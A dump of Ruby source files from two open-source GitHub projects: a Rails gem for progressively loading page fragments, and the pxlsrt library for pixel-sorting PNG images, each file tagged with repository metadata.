require 'uri' require 'rack/utils' module ProgressiveRender module Rack # Wraps a given rack request to determine what sort of request we're dealing with # and what specific fragment the request is for when it's a progressive request. class RequestHandler FRAGMENT_KEY = 'load_partial'.freeze def initialize(request) @request = request end def main_load? fragment_name.nil? || fragment_name == '' end def fragment_name @request.GET[FRAGMENT_KEY] end def should_render_fragment?(user_fragment_name) !main_load? && fragment_name == user_fragment_name end def load_path(fragment_name) return nil unless main_load? # Ensure we get a fresh copy of the request and aren't modifying it query = @request.GET.clone query[FRAGMENT_KEY] = fragment_name URI::HTTP.build(path: @request.path, query: ::Rack::Utils.build_nested_query(query)).request_uri end end end end
ruby
MIT
3cf39fe16485e2fd2e21b50120c4f2cb50df8508
2026-01-04T17:57:27.022277Z
false
johnsonj/progressive_render
https://github.com/johnsonj/progressive_render/blob/3cf39fe16485e2fd2e21b50120c4f2cb50df8508/lib/progressive_render/rails/view.rb
lib/progressive_render/rails/view.rb
require 'progressive_render/rails/helpers' module ProgressiveRender module Rails # Provides methods for application view module View include Helpers # Mark a section of content to be loaded after initial view of the page. # # == Usage # <%= progressive_render do %> # <h2>Content!</h2> # <% end %> # # == Specify a custom placeholder # The progressive_render method puts a simple spinner on the page by default but # that can be customized per section by passing a path to a partial via `placeholder` # # <%= progressive_render placeholder: 'shared/custom_placehodler' do %> # <h2>More Content!</h2> # <% end %> def progressive_render(deprecated_fragment_name = nil, placeholder: 'progressive_render/placeholder') if deprecated_fragment_name logger.warn %(DEPRECATED (progressive_render): Literal fragment names are deprecated and will be removed in v1.0. The fragment name (#{deprecated_fragment_name}) will be ignored.") end progressive_render_impl(placeholder: placeholder) do yield end end private def progressive_render_impl(placeholder: 'progressive_render/placeholder') fragment_name = fragment_name_iterator.next! progressive_render_content(fragment_name, progressive_request.main_load?) do if progressive_request.main_load? progressive_renderer.render_partial placeholder elsif progressive_request.should_render_fragment?(fragment_name) yield end end end def progressive_render_content(fragment_name, placeholder = true) data = { progressive_render_placeholder: placeholder, progressive_render_path: progressive_request.load_path(fragment_name) }.reject { |_k, v| v.nil? } content_tag(:div, id: "#{fragment_name}_progressive_render", data: data) do yield end end def fragment_name_iterator @fni ||= FragmentNameIterator.new end end end end
ruby
MIT
3cf39fe16485e2fd2e21b50120c4f2cb50df8508
2026-01-04T17:57:27.022277Z
false
johnsonj/progressive_render
https://github.com/johnsonj/progressive_render/blob/3cf39fe16485e2fd2e21b50120c4f2cb50df8508/lib/progressive_render/rails/path_resolver.rb
lib/progressive_render/rails/path_resolver.rb
module ProgressiveRender module Rails # Resolve set of request parameters to a full path to a template file class PathResolver # Holds the request parameters. # Used to decouple the ProgressiveRequest from the renderer. class TemplateContext attr_accessor :controller, :action, :type def valid? valid_type? && valid_controller? && valid_action? end private def valid_type? type == :view || type == :controller end def valid_controller? !controller.nil? && !controller.empty? end def valid_action? !action.nil? && !action.empty? end end class InvalidTemplateContextException < RuntimeError end class InvalidPathException < RuntimeError end def initialize(template_context) @context = template_context end def path_for(view_name = nil) raise InvalidTemplateContextException unless @context && @context.valid? raise InvalidPathException if (view_name.nil? || view_name.empty?) && view_action? "#{@context.controller.downcase}/#{path_suffix_for(view_name)}" end private def path_suffix_for(view_name) if view_name.nil? || view_name.empty? @context.action.to_s else view_name.to_s end end def view_action? @context.type == :view end end end end
ruby
MIT
3cf39fe16485e2fd2e21b50120c4f2cb50df8508
2026-01-04T17:57:27.022277Z
false
johnsonj/progressive_render
https://github.com/johnsonj/progressive_render/blob/3cf39fe16485e2fd2e21b50120c4f2cb50df8508/lib/progressive_render/rails/helpers.rb
lib/progressive_render/rails/helpers.rb
module ProgressiveRender module Rails # Shortcuts to object creation used in the view and controller module Helpers def progressive_request @rh ||= Rack::RequestHandler.new(request) end def progressive_renderer Rails::ViewRenderer.new(self) end end end end
ruby
MIT
3cf39fe16485e2fd2e21b50120c4f2cb50df8508
2026-01-04T17:57:27.022277Z
false
johnsonj/progressive_render
https://github.com/johnsonj/progressive_render/blob/3cf39fe16485e2fd2e21b50120c4f2cb50df8508/lib/progressive_render/rails/controller.rb
lib/progressive_render/rails/controller.rb
require 'progressive_render/rails/helpers' module ProgressiveRender module Rails # Rails controller methods, this module is installed into ActionController # These methods should not generally be called by user code besides 'render' module Controller include Helpers def progressive_render(template = nil) logger.warn %(DEPRECATED: calling 'progressive_render' directly in the controller is deprecated and will be removed in future versions. It is no longer necessary to explicitly call the render method.) render template end def render(options = nil, extra_options = {}, &block) # Fall back to the ActionView renderer if we're on the main page load # OR we are being called from inside our own code (in_progressive_render?) if progressive_request.main_load? || in_progressive_render? super else in_progressive_render do # To preserve legacy behavior pass options through to resolve_path if it's a string # ActiveRecord more properly handles the path so use that when possible. template = options if options.is_a? String progressive_renderer.render_fragment resolve_path(template), progressive_request.fragment_name end end end private def resolve_path(template) tc = Rails::PathResolver::TemplateContext.new tc.type = :controller tc.controller = request.params['controller'] tc.action = request.params['action'] pr = Rails::PathResolver.new(tc) pr.path_for(template) end def in_progressive_render? @in_progressive_render end # To prevent the render call from reentrancy we need to remember if we're in our own render path. # Our rendering code calls 'render' to access the real view renderer so we need a way to fall back to it. def in_progressive_render @in_progressive_render = true yield @in_progressive_render = false end end end end
ruby
MIT
3cf39fe16485e2fd2e21b50120c4f2cb50df8508
2026-01-04T17:57:27.022277Z
false
johnsonj/progressive_render
https://github.com/johnsonj/progressive_render/blob/3cf39fe16485e2fd2e21b50120c4f2cb50df8508/lib/progressive_render/rails/engine.rb
lib/progressive_render/rails/engine.rb
module ProgressiveRender module Rails # Rails uses this class to install progressive_render into an application # It is responsible for any setup needed for the gem to function class Engine < ::Rails::Engine initializer 'progressive_render.assets.precompile' do |app| app.config.assets.precompile += %w[progressive_render.gif progressive_render.js.coffee progressive_render.css.scss] end initializer 'progressive_render.install' do ActionController::Base.class_eval do prepend ProgressiveRender::Rails::Controller end ActionView::Base.class_eval do prepend ProgressiveRender::Rails::View end end end end end
ruby
MIT
3cf39fe16485e2fd2e21b50120c4f2cb50df8508
2026-01-04T17:57:27.022277Z
false
johnsonj/progressive_render
https://github.com/johnsonj/progressive_render/blob/3cf39fe16485e2fd2e21b50120c4f2cb50df8508/lib/progressive_render/rails/view_renderer.rb
lib/progressive_render/rails/view_renderer.rb
require 'nokogiri' module ProgressiveRender module Rails # Responsible for rendering a full page and extracting fragments for a progressive render. class ViewRenderer attr_accessor :context def initialize(view_context) self.context = view_context end def render_partial(path) context.render partial: path end def render_view(path) context.render path end def render_fragment(path, fragment_name) content = context.render_to_string template: path, layout: false stripped = Nokogiri::HTML(content).at_css("div##{fragment_name}_progressive_render") context.render plain: stripped.to_html end end end end
ruby
MIT
3cf39fe16485e2fd2e21b50120c4f2cb50df8508
2026-01-04T17:57:27.022277Z
false
czycha/pxlsrt
https://github.com/czycha/pxlsrt/blob/f65880032f441887d77ddfbe5ebb0760edc96e1c/lib/pxlsrt.rb
lib/pxlsrt.rb
require 'pxlsrt/version' require 'pxlsrt/helpers' require 'pxlsrt/lines' require 'pxlsrt/image' require 'pxlsrt/colors' require 'pxlsrt/brute' require 'pxlsrt/smart' require 'pxlsrt/kim' require 'pxlsrt/spiral' require 'pxlsrt/seed'
ruby
MIT
f65880032f441887d77ddfbe5ebb0760edc96e1c
2026-01-04T17:57:31.647579Z
false
czycha/pxlsrt
https://github.com/czycha/pxlsrt/blob/f65880032f441887d77ddfbe5ebb0760edc96e1c/lib/pxlsrt/lines.rb
lib/pxlsrt/lines.rb
module Pxlsrt ## # "Line" operations used on arrays f colors. class Lines ## # ChunkyPNG's rotation was a little slow and doubled runtime. # This "rotates" an array, based on the width and height. # It uses math and it's really cool, trust me. def self.rotateImage(what, width, height, a) nu = [] case a when 0, 360, 4 nu = what when 1, 90 (0...what.length).each do |xy| nu[((height - 1) - (xy / width).floor) + (xy % width) * height] = what[xy] end when 2, 180 nu = what.reverse when 3, 270 (0...what.length).each do |xy| nu[(xy / width).floor + ((width - 1) - (xy % width)) * height] = what[xy] end end nu end ## # Some fancy rearranging. # [a, b, c, d, e] -> [d, b, a, c, e] # [a, b, c, d] -> [c, a, b, d] def self.middlate(arr) a = [] (0...arr.length).each do |e| if (arr.length + e).odd? a[0.5 * (arr.length + e - 1)] = arr[e] elsif (arr.length + e).even? a[0.5 * (arr.length - e) - 1] = arr[e] end end a end ## # Some fancy unrearranging. # [d, b, a, c, e] -> [a, b, c, d, e] # [c, a, b, d] -> [a, b, c, d] def self.reverseMiddlate(arr) a = [] (0...arr.length).each do |e| if e == ((arr.length / 2.0).ceil - 1) a[0] = arr[e] elsif e < ((arr.length / 2.0).ceil - 1) a[arr.length - 2 * e - 2] = arr[e] elsif e > ((arr.length / 2.0).ceil - 1) a[2 * e - arr.length + 1] = arr[e] end end a end ## # Handle middlate requests def self.handleMiddlate(arr, d) n = Pxlsrt::Helpers.isNumeric?(d) if n && d.to_i > 0 k = arr (0...d.to_i).each do |_l| k = Pxlsrt::Lines.middlate(k) end return k elsif n && d.to_i < 0 k = arr (0...d.to_i.abs).each do |_l| k = Pxlsrt::Lines.reverseMiddlate(k) end return k elsif (d == '') || (d == 'middle') return Pxlsrt::Lines.middlate(arr) else return arr end end ## # Gets "rows" of an array based on a width def self.imageRGBLines(image, width) image.each_slice(width).to_a end ## # Outputs random slices of an array. # Because of the requirements of pxlsrt, it doesn't actually slice the array, but returns a range-like array. Example: # [[0, 5], [6, 7], [8, 10]] def self.randomSlices(mainLength, minLength, maxLength) if mainLength <= 1 [[0, 0]] else min = [minLength, maxLength].min max = [minLength, maxLength].max min = mainLength if min > mainLength max = mainLength if max > mainLength min = 1 if min < 1 max = 1 if max < 1 nu = [[0, rand(min..max) - 1]] last = nu.last.last sorting = true while sorting if (mainLength - last) <= max nu.push([last + 1, mainLength - 1]) if last + 1 <= mainLength - 1 sorting = false else nu.push([last + 1, last + rand(min..max)]) end last = nu.last.last end nu end end ## # Uses math to turn an array into an array of diagonals. def self.getDiagonals(array, width, height) dias = {} ((1 - height)...width).each do |x| z = [] (0...height).each do |y| if (x + (width + 1) * y).between?(width * y, (width * (y + 1) - 1)) z.push(array[(x + (width + 1) * y)]) end end dias[x.to_s] = z end dias end ## # Uses math to turn an array of diagonals into a linear array. def self.fromDiagonals(obj, width) ell = [] obj.each_key do |k| r = k.to_i n = r < 0 if n x = 0 y = r.abs else x = r y = 0 end ell[x + y * width] = obj[k].first (1...obj[k].length).each do |v| x += 1 y += 1 ell[x + y * width] = obj[k][v] end end ell end end end
ruby
MIT
f65880032f441887d77ddfbe5ebb0760edc96e1c
2026-01-04T17:57:31.647579Z
false
czycha/pxlsrt
https://github.com/czycha/pxlsrt/blob/f65880032f441887d77ddfbe5ebb0760edc96e1c/lib/pxlsrt/version.rb
lib/pxlsrt/version.rb
## # The main module, your best friend. module Pxlsrt VERSION = '1.8.2'.freeze end
ruby
MIT
f65880032f441887d77ddfbe5ebb0760edc96e1c
2026-01-04T17:57:31.647579Z
false
czycha/pxlsrt
https://github.com/czycha/pxlsrt/blob/f65880032f441887d77ddfbe5ebb0760edc96e1c/lib/pxlsrt/seed.rb
lib/pxlsrt/seed.rb
require 'oily_png' module Pxlsrt ## # Plant seeds, have them spiral out and sort. class Seed ## # Uses Pxlsrt::Seed.seed to input and output from one method. def self.suite(inputFileName, outputFileName, o = {}) kml = Pxlsrt::Seed.seed(inputFileName, o) kml.save(outputFileName) if Pxlsrt::Helpers.contented(kml) end ## # The main attraction of the Seed class. Returns a ChunkyPNG::Image that is sorted according to the options provided. Will raise any error that occurs. def self.seed(input, o = {}) startTime = Time.now defOptions = { reverse: false, smooth: false, method: 'sum-rgb', verbose: false, trusted: false, middle: false, random: false, distance: 100, threshold: 0.1 } defRules = { reverse: :anything, smooth: [false, true], method: Pxlsrt::Colors::METHODS, verbose: [false, true], trusted: [false, true], middle: :anything, random: [false, { class: [Integer] }], distance: [false, { class: [Integer] }], threshold: [{ class: [Float, Integer] }] } options = defOptions.merge(o) if o.empty? || (options[:trusted] == true) || ((options[:trusted] == false) && !o.empty? && (Pxlsrt::Helpers.checkOptions(options, defRules) != false)) if input.class == String Pxlsrt::Helpers.verbose('Getting image from file...') if options[:verbose] if File.file?(input) if Pxlsrt::Colors.isPNG?(input) input = ChunkyPNG::Image.from_file(input) else Pxlsrt::Helpers.error("File #{input} is not a valid PNG.") if options[:verbose] raise 'Invalid PNG' end else Pxlsrt::Helpers.error("File #{input} doesn't exist!") if options[:verbose] raise "File doesn't exit" end elsif (input.class != String) && (input.class != ChunkyPNG::Image) Pxlsrt::Helpers.error('Input is not a filename or ChunkyPNG::Image') if options[:verbose] raise 'Invalid input (must be filename or ChunkyPNG::Image)' end Pxlsrt::Helpers.verbose('Seed mode.') if options[:verbose] Pxlsrt::Helpers.verbose('Creating Pxlsrt::Image object') if options[:verbose] png = Pxlsrt::Image.new(input) traversed = [false] * (png.getWidth * png.getHeight) count = 0 seeds = [] if options[:random] != false Pxlsrt::Helpers.progress('Planting seeds', 0, options[:random]) if options[:verbose] (0...options[:random]).each do |s| x = (0...png.getWidth).to_a.sample y = (0...png.getHeight).to_a.sample seeds.push(spiral: Pxlsrt::Spiral.new(x, y), pixels: [png[x, y]], xy: [{ x: x, y: y }], placed: true, retired: false, anchor: { x: x, y: y }) Pxlsrt::Helpers.progress('Planting seeds', s + 1, options[:random]) if options[:verbose] end else Pxlsrt::Helpers.progress('Planting seeds', 0, png.getWidth * png.getHeight) if options[:verbose] kernel = [[-1, -1, -1], [-1, 9, -1], [-1, -1, -1]] i = (png.getWidth + png.getHeight - 2) * 2 (1...(png.getHeight - 1)).each do |y| (1...(png.getWidth - 1)).each do |x| sum = 0 (-1..1).each do |ky| (-1..1).each do |kx| sum += kernel[ky + 1][kx + 1] * ChunkyPNG::Color.r(png[x + kx, y + ky]) end end if sum < options[:threshold] seeds.push(spiral: Pxlsrt::Spiral.new(x, y), pixels: [png[x, y]], xy: [{ x: x, y: y }], placed: true, retired: false, anchor: { x: x, y: y }) end i += 1 Pxlsrt::Helpers.progress('Planting seeds', i, png.getWidth * png.getHeight) if options[:verbose] end end if options[:distance] != false Pxlsrt::Helpers.progress('Removing seed clusters', 0, seeds.length) if options[:verbose] results = [] i = 0 seeds.each do |current| add = true results.each do |other| d = Math.sqrt((current[:anchor][:x] - other[:anchor][:x])**2 + (current[:anchor][:y] - other[:anchor][:y])**2) add = false if d > 0 && d < options[:distance] end results.push(current) if add i += 1 Pxlsrt::Helpers.progress('Removing seed clusters', i, seeds.length) if options[:verbose] end seeds = results end end (0...seeds.length).each do |r| traversed[seeds[r][:anchor][:x] + seeds[r][:anchor][:y] * png.getWidth] = r count += 1 end Pxlsrt::Helpers.verbose("Planted #{seeds.length} seeds") if options[:verbose] step = 0 Pxlsrt::Helpers.progress('Watch them grow!', count, traversed.length) if options[:verbose] while count < traversed.length && !seeds.empty? r = 0 seeds.each do |seed| unless seed[:retired] n = seed[:spiral].next if (n[:x] >= 0) && (n[:y] >= 0) && n[:x] < png.getWidth && n[:y] < png.getHeight && !traversed[n[:x] + n[:y] * png.getWidth] seed[:pixels].push(png[n[:x], n[:y]]) traversed[n[:x] + n[:y] * png.getWidth] = r seed[:xy].push(n) seed[:placed] = true count += 1 elsif seed[:placed] == true seed[:placed] = { count: 1, direction: seed[:spiral].direction, cycle: seed[:spiral].cycles } case seed[:placed][:direction] when 'up', 'down' seed[:placed][:value] = seed[:spiral].pos[:y] seed[:placed][:valueS] = :y when 'left', 'right' seed[:placed][:value] = seed[:spiral].pos[:x] seed[:placed][:valueS] = :x end else seed[:placed][:count] += 1 if (seed[:spiral].cycles != seed[:placed][:cycle]) && (seed[:placed][:direction] == seed[:spiral].direction) && (seed[:placed][:value] == seed[:spiral].pos[seed[:placed][:valueS]]) seed[:retired] = true end end end r += 1 end step += 1 Pxlsrt::Helpers.progress('Watch them grow!', count, traversed.length) if options[:verbose] end Pxlsrt::Helpers.progress('Sort seeds and place pixels', 0, seeds.length) if options[:verbose] r = 0 seeds.each do |seed| band = Pxlsrt::Helpers.handlePixelSort(seed[:pixels], options) i = 0 seed[:xy].each do |k| png[k[:x], k[:y]] = band[i] i += 1 end r += 1 Pxlsrt::Helpers.progress('Sort seeds and place pixels', r, seeds.length) if options[:verbose] end endTime = Time.now timeElapsed = endTime - startTime if timeElapsed < 60 Pxlsrt::Helpers.verbose("Took #{timeElapsed.round(4)} second#{timeElapsed != 1.0 ? 's' : ''}.") if options[:verbose] else minutes = (timeElapsed / 60).floor seconds = (timeElapsed % 60).round(4) Pxlsrt::Helpers.verbose("Took #{minutes} minute#{minutes != 1 ? 's' : ''} and #{seconds} second#{seconds != 1.0 ? 's' : ''}.") if options[:verbose] end Pxlsrt::Helpers.verbose('Returning ChunkyPNG::Image...') if options[:verbose] return png.returnModified else Pxlsrt::Helpers.error('Options specified do not follow the correct format.') if options[:verbose] raise 'Bad options' end end end end
ruby
MIT
f65880032f441887d77ddfbe5ebb0760edc96e1c
2026-01-04T17:57:31.647579Z
false
czycha/pxlsrt
https://github.com/czycha/pxlsrt/blob/f65880032f441887d77ddfbe5ebb0760edc96e1c/lib/pxlsrt/helpers.rb
lib/pxlsrt/helpers.rb
module Pxlsrt ## # Methods not having to do with image or color manipulation. class Helpers ## # Determines if a value has content. def self.contented(c) !c.nil? end ## # Used to output a red string to the terminal. def self.red(what) "\e[31m#{what}\e[0m" end ## # Used to output a cyan string to the terminal. def self.cyan(what) "\e[36m#{what}\e[0m" end ## # Used to output a yellow string to the terminal. def self.yellow(what) "\e[33m#{what}\e[0m" end ## # Used to output a green string to the terminal. def self.green(what) "\e[32m#{what}\e[0m" end ## # Determines if a string can be a float or integer. def self.isNumeric?(s) true if Float(s) rescue false end ## # Checks if supplied options follow the rules. def self.checkOptions(options, rules) match = true options.each_key do |o| o_match = false if rules[o].class == Array if rules[o].include?(options[o]) o_match = true else (0...rules[o].length).each do |r| if rules[o][r].class == Hash rules[o][r][:class].each do |n| if n == options[o].class o_match = match break end end end break if o_match == true end end elsif rules[o] == :anything o_match = true end match = (match && o_match) break if match == false end match end ## # Pixel sorting helper to eliminate repetition. def self.handlePixelSort(band, o) if ((o[:reverse].class == String) && (o[:reverse].casecmp('reverse').zero? || (o[:reverse] == ''))) || (o[:reverse] == true) reverse = 1 elsif (o[:reverse].class == String) && o[:reverse].casecmp('either').zero? reverse = -1 else reverse = 0 end if o[:smooth] u = band.group_by { |x| x } k = u.keys else k = band end sortedBand = Pxlsrt::Colors.pixelSort( k, o[:method], reverse ) sortedBand = sortedBand.flat_map { |x| u[x] } if o[:smooth] Pxlsrt::Lines.handleMiddlate(sortedBand, o[:middle]) end ## # Prints an error message. def self.error(what) puts "#{Pxlsrt::Helpers.red('pxlsrt')} #{what}" end ## # Prints something. def self.verbose(what) puts "#{Pxlsrt::Helpers.cyan('pxlsrt')} #{what}" end ## # Progress indication. def self.progress(what, amount, outof) progress = (amount.to_f * 100.0 / outof.to_f).to_i if progress == 100 puts "\r#{Pxlsrt::Helpers.green('pxlsrt')} #{what} (#{Pxlsrt::Helpers.green("#{progress}%")})" else $stdout.write "\r#{Pxlsrt::Helpers.yellow('pxlsrt')} #{what} (#{Pxlsrt::Helpers.yellow("#{progress}%")})" $stdout.flush end end end end
ruby
MIT
f65880032f441887d77ddfbe5ebb0760edc96e1c
2026-01-04T17:57:31.647579Z
false
czycha/pxlsrt
https://github.com/czycha/pxlsrt/blob/f65880032f441887d77ddfbe5ebb0760edc96e1c/lib/pxlsrt/brute.rb
lib/pxlsrt/brute.rb
require 'oily_png' module Pxlsrt ## # Brute sorting creates bands for sorting using a range to determine the bandwidths, # as opposed to smart sorting which uses edge-finding to create bands. class Brute ## # Uses Pxlsrt::Brute.brute to input and output from one method. def self.suite(inputFileName, outputFileName, o = {}) kml = Pxlsrt::Brute.brute(inputFileName, o) kml.save(outputFileName) if Pxlsrt::Helpers.contented(kml) end ## # The main attraction of the Brute class. Returns a ChunkyPNG::Image that is sorted according to the options provided. Will raise any error that occurs. def self.brute(input, o = {}) startTime = Time.now defOptions = { reverse: false, vertical: false, diagonal: false, smooth: false, method: 'sum-rgb', verbose: false, min: Float::INFINITY, max: Float::INFINITY, trusted: false, middle: false } defRules = { reverse: :anything, vertical: [false, true], diagonal: [false, true], smooth: [false, true], method: Pxlsrt::Colors::METHODS, verbose: [false, true], min: [Float::INFINITY, { class: [Integer] }], max: [Float::INFINITY, { class: [Integer] }], trusted: [false, true], middle: :anything } options = defOptions.merge(o) if o.empty? || (options[:trusted] == true) || ((options[:trusted] == false) && !o.empty? && (Pxlsrt::Helpers.checkOptions(options, defRules) != false)) Pxlsrt::Helpers.verbose('Options are all good.') if options[:verbose] if input.class == String Pxlsrt::Helpers.verbose('Getting image from file...') if options[:verbose] if File.file?(input) if Pxlsrt::Colors.isPNG?(input) input = ChunkyPNG::Image.from_file(input) else Pxlsrt::Helpers.error("File #{input} is not a valid PNG.") if options[:verbose] raise 'Invalid PNG' end else Pxlsrt::Helpers.error("File #{input} doesn't exist!") if options[:verbose] raise "File doesn't exit" end elsif (input.class != String) && (input.class != ChunkyPNG::Image) Pxlsrt::Helpers.error('Input is not a filename or ChunkyPNG::Image') if options[:verbose] raise 'Invalid input (must be filename or ChunkyPNG::Image)' end Pxlsrt::Helpers.verbose('Brute mode.') if options[:verbose] Pxlsrt::Helpers.verbose('Creating Pxlsrt::Image object') if options[:verbose] png = Pxlsrt::Image.new(input) if !options[:vertical] && !options[:diagonal] Pxlsrt::Helpers.verbose('Retrieving rows') if options[:verbose] lines = png.horizontalLines elsif options[:vertical] && !options[:diagonal] Pxlsrt::Helpers.verbose('Retrieving columns') if options[:verbose] lines = png.verticalLines elsif !options[:vertical] && options[:diagonal] Pxlsrt::Helpers.verbose('Retrieving diagonals') if options[:verbose] lines = png.diagonalLines elsif options[:vertical] && options[:diagonal] Pxlsrt::Helpers.verbose('Retrieving diagonals') if options[:verbose] lines = png.rDiagonalLines end iterator = if !options[:diagonal] 0...(lines.length) else lines.keys end prr = 0 len = iterator.to_a.length Pxlsrt::Helpers.progress('Dividing and pixel sorting lines', prr, len) if options[:verbose] iterator.each do |k| line = lines[k] divisions = Pxlsrt::Lines.randomSlices(line.length, options[:min], options[:max]) newLine = [] divisions.each do |division| band = line[division[0]..division[1]] newLine.concat(Pxlsrt::Helpers.handlePixelSort(band, options)) end if !options[:diagonal] png.replaceHorizontal(k, newLine) unless options[:vertical] png.replaceVertical(k, newLine) if options[:vertical] else png.replaceDiagonal(k, newLine) unless options[:vertical] png.replaceRDiagonal(k, newLine) if options[:vertical] end prr += 1 Pxlsrt::Helpers.progress('Dividing and pixel sorting lines', prr, len) if options[:verbose] end endTime = Time.now timeElapsed = endTime - startTime if timeElapsed < 60 Pxlsrt::Helpers.verbose("Took #{timeElapsed.round(4)} second#{timeElapsed != 1.0 ? 's' : ''}.") if options[:verbose] else minutes = (timeElapsed / 60).floor seconds = (timeElapsed % 60).round(4) Pxlsrt::Helpers.verbose("Took #{minutes} minute#{minutes != 1 ? 's' : ''} and #{seconds} second#{seconds != 1.0 ? 's' : ''}.") if options[:verbose] end Pxlsrt::Helpers.verbose('Returning ChunkyPNG::Image...') if options[:verbose] return png.returnModified else Pxlsrt::Helpers.error('Options specified do not follow the correct format.') if options[:verbose] raise 'Bad options' end end end end
ruby
MIT
f65880032f441887d77ddfbe5ebb0760edc96e1c
2026-01-04T17:57:31.647579Z
false
czycha/pxlsrt
https://github.com/czycha/pxlsrt/blob/f65880032f441887d77ddfbe5ebb0760edc96e1c/lib/pxlsrt/kim.rb
lib/pxlsrt/kim.rb
require 'oily_png' module Pxlsrt ## # Uses Kim Asendorf's pixel sorting algorithm, orginally written in Processing. https://github.com/kimasendorf/ASDFPixelSort class Kim ## # Uses Pxlsrt::Kim.kim to input and output from one method. def self.suite(inputFileName, outputFileName, o = {}) kml = Pxlsrt::Kim.kim(inputFileName, o) kml.save(outputFileName) if Pxlsrt::Helpers.contented(kml) end ## # The main attraction of the Kim class. Returns a ChunkyPNG::Image that is sorted according to the options provided. Will raise any error that occurs. def self.kim(input, o = {}) startTime = Time.now defOptions = { method: 'brightness', verbose: false, value: false, trusted: false } defRules = { method: %w(brightness black white), verbose: [false, true], value: [false, { class: [Integer] }], trusted: [false, true] } options = defOptions.merge(o) if o.empty? || (options[:trusted] == true) || ((options[:trusted] == false) && !o.empty? && (Pxlsrt::Helpers.checkOptions(options, defRules) != false)) if input.class == String Pxlsrt::Helpers.verbose('Getting image from file...') if options[:verbose] if File.file?(input) if Pxlsrt::Colors.isPNG?(input) input = ChunkyPNG::Image.from_file(input) else Pxlsrt::Helpers.error("File #{input} is not a valid PNG.") if options[:verbose] raise 'Invalid PNG' end else Pxlsrt::Helpers.error("File #{input} doesn't exist!") if options[:verbose] raise "File doesn't exit" end elsif (input.class != String) && (input.class != ChunkyPNG::Image) Pxlsrt::Helpers.error('Input is not a filename or ChunkyPNG::Image') if options[:verbose] raise 'Invalid input (must be filename or ChunkyPNG::Image)' end Pxlsrt::Helpers.verbose('Kim Asendorf mode.') if options[:verbose] Pxlsrt::Helpers.verbose('Creating Pxlsrt::Image object') if options[:verbose] png = Pxlsrt::Image.new(input) column = 0 row = 0 options[:value] ||= ChunkyPNG::Color.rgba(11, 220, 0, 1) if options[:method] == 'black' options[:value] ||= 60 if options[:method] == 'brightness' options[:value] ||= ChunkyPNG::Color.rgba(57, 167, 192, 1) if options[:method] == 'white' Pxlsrt::Helpers.progress('Sorting columns', column, png.getWidth) if options[:verbose] while column < png.getWidth x = column y = 0 yend = 0 while yend < png.getHeight case options[:method] when 'black' y = getFirstNotBlackY(png, x, y, options[:value]) yend = getNextBlackY(png, x, y, options[:value]) when 'brightness' y = getFirstBrightY(png, x, y, options[:value]) yend = getNextDarkY(png, x, y, options[:value]) when 'white' y = getFirstNotWhiteY(png, x, y, options[:value]) yend = getNextWhiteY(png, x, y, options[:value]) end break if y < 0 sortLength = yend - y unsorted = [] sorted = [] (0...sortLength).each do |i| unsorted[i] = png[x, y + i] end sorted = unsorted.sort (0...sortLength).each do |i| png[x, y + i] = sorted[i] end y = yend + 1 end column += 1 Pxlsrt::Helpers.progress('Sorting columns', column, png.getWidth) if options[:verbose] end Pxlsrt::Helpers.progress('Sorting rows', row, png.getHeight) if options[:verbose] while row < png.getHeight x = 0 y = row xend = 0 while xend < png.getWidth case options[:method] when 'black' x = getFirstNotBlackX(png, x, y, options[:value]) xend = getNextBlackX(png, x, y, options[:value]) when 'brightness' x = getFirstBrightX(png, x, y, options[:value]) xend = getNextDarkX(png, x, y, options[:value]) when 'white' x = getFirstNotWhiteX(png, x, y, options[:value]) xend = getNextWhiteX(png, x, y, options[:value]) end break if x < 0 sortLength = xend - x unsorted = [] sorted = [] (0...sortLength).each do |i| unsorted[i] = png[x + i, y] end sorted = unsorted.sort (0...sortLength).each do |i| png[x + i, y] = sorted[i] end x = xend + 1 end row += 1 Pxlsrt::Helpers.progress('Sorting rows', row, png.getHeight) if options[:verbose] end endTime = Time.now timeElapsed = endTime - startTime if timeElapsed < 60 Pxlsrt::Helpers.verbose("Took #{timeElapsed.round(4)} second#{timeElapsed != 1.0 ? 's' : ''}.") if options[:verbose] else minutes = (timeElapsed / 60).floor seconds = (timeElapsed % 60).round(4) Pxlsrt::Helpers.verbose("Took #{minutes} minute#{minutes != 1 ? 's' : ''} and #{seconds} second#{seconds != 1.0 ? 's' : ''}.") if options[:verbose] end Pxlsrt::Helpers.verbose('Returning ChunkyPNG::Image...') if options[:verbose] return png.returnModified else Pxlsrt::Helpers.error('Options specified do not follow the correct format.') if options[:verbose] raise 'Bad options' end end # Helper methods # Black def self.getFirstNotBlackX(img, x, y, blackValue) if x < img.getWidth while img[x, y] < blackValue x += 1 return -1 if x >= img.getWidth end end x end def self.getFirstNotBlackY(img, x, y, blackValue) if y < img.getHeight while img[x, y] < blackValue y += 1 return -1 if y >= img.getHeight end end y end def self.getNextBlackX(img, x, y, blackValue) x += 1 if x < img.getWidth while img[x, y] > blackValue x += 1 return (img.getWidth - 1) if x >= img.getWidth end end x - 1 end def self.getNextBlackY(img, x, y, blackValue) y += 1 if y < img.getHeight while img[x, y] > blackValue y += 1 return (img.getHeight - 1) if y >= img.getHeight end end y - 1 end # Brightness def self.getFirstBrightX(img, x, y, brightnessValue) if x < img.getWidth while ChunkyPNG::Color.to_hsb(img[x, y])[2] * 255 < brightnessValue x += 1 return -1 if x >= img.getWidth end end x end def self.getFirstBrightY(img, x, y, brightnessValue) if y < img.getHeight while ChunkyPNG::Color.to_hsb(img[x, y])[2] * 255 < brightnessValue y += 1 return -1 if y >= img.getHeight end end y end def self.getNextDarkX(img, x, y, brightnessValue) x += 1 if x < img.getWidth while ChunkyPNG::Color.to_hsb(img[x, y])[2] * 255 > brightnessValue x += 1 return (img.getWidth - 1) if x >= img.getWidth end end x - 1 end def self.getNextDarkY(img, x, y, brightnessValue) y += 1 if y < img.getHeight while ChunkyPNG::Color.to_hsb(img[x, y])[2] * 255 > brightnessValue y += 1 return (img.getHeight - 1) if y >= img.getHeight end end y - 1 end # White def self.getFirstNotWhiteX(img, x, y, whiteValue) if x < img.getWidth while img[x, y] > whiteValue x += 1 return -1 if x >= img.getWidth end end x end def self.getFirstNotWhiteY(img, x, y, whiteValue) if y < img.getHeight while img[x, y] > whiteValue y += 1 return -1 if y >= img.getHeight end end y end def self.getNextWhiteX(img, x, y, whiteValue) x += 1 if x < img.getWidth while img[x, y] < whiteValue x += 1 return (img.getWidth - 1) if x >= img.getWidth end end x - 1 end def self.getNextWhiteY(img, x, y, whiteValue) y += 1 if y < img.getHeight while img[x, y] < whiteValue y += 1 return (img.getHeight - 1) if y >= img.getHeight end end y - 1 end end end
ruby
MIT
